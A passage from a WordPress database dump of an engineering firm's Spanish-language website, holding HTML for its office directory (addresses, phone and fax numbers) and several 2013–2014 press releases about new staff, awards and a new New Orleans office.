BEACH</h2>\r\n<strong>dirección</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n+1 562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/miami.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"31\">MIAMI</h2>\r\n<strong>dirección</strong>\r\n\r\n3390 Mary Street, Suite 260\r\n\r\nCoconut Grove, FL 33133\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 786-412-6938\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/neworleans.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"32\">NUEVA ORLEANS</h2>\r\n<strong>dirección</strong>\r\n\r\n601 Poydras Street, Suite 1860\r\n\r\nNew Orleans, LA 70130\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 504-648-3560\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>dirección</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n+1 212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>dirección</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 757-628-8244\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>dirección</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>dirección</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n+1 407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÁ</h2>\r\n<strong>dirección</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamá, República de Panamá\r\n\r\n<strong>teléfono</strong>\r\n\r\n+507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>dirección</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n+1 919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>dirección</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n+1 804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>dirección</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n+1 585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\r\n<strong>dirección</strong>\r\n\r\nAv. Afonso Arinos de Melo Franco, no. 222\r\nBloco 1-Sala 1509\r\nBarra da Tijuca – Rio de Janeiro – RJ\r\nCEP 22631-455\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 3202 6100\r\n\r\n<strong>fax</strong>\r\n\r\n+55 21 3202 6149\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>dirección</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n+1 619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#30\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/santiago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">Santiago</h2>\r\n<strong>dirección</strong>\r\n\r\nAv. Presidente Riesco 5335, Piso 9\r\n\r\nLas Condes, Santiago\r\n\r\nChile\r\n\r\n<strong>teléfono</strong>\r\n\r\n+56 2 27143926\r\n\r\n<strong>fax</strong>\r\n\r\n+56 2 26591204\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n+1 912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n+1 813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n+1 604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n+1 601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n+1 925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-17','','','2013-11-25 22:50:25','2013-11-25 22:50:25','',14,'http://moffattnichol.com/spanish/14-revision-17/',0,'revision','',0),(2820,1,'2014-04-01 17:40:00','2014-04-01 17:40:00','','Paul-Wallis','','inherit','open','open','','paul-wallis','','','2014-04-01 17:40:00','2014-04-01 17:40:00','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg',0,'attachment','image/jpeg',0),(2821,1,'2014-02-17 20:09:14','2014-02-17 20:09:14','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro 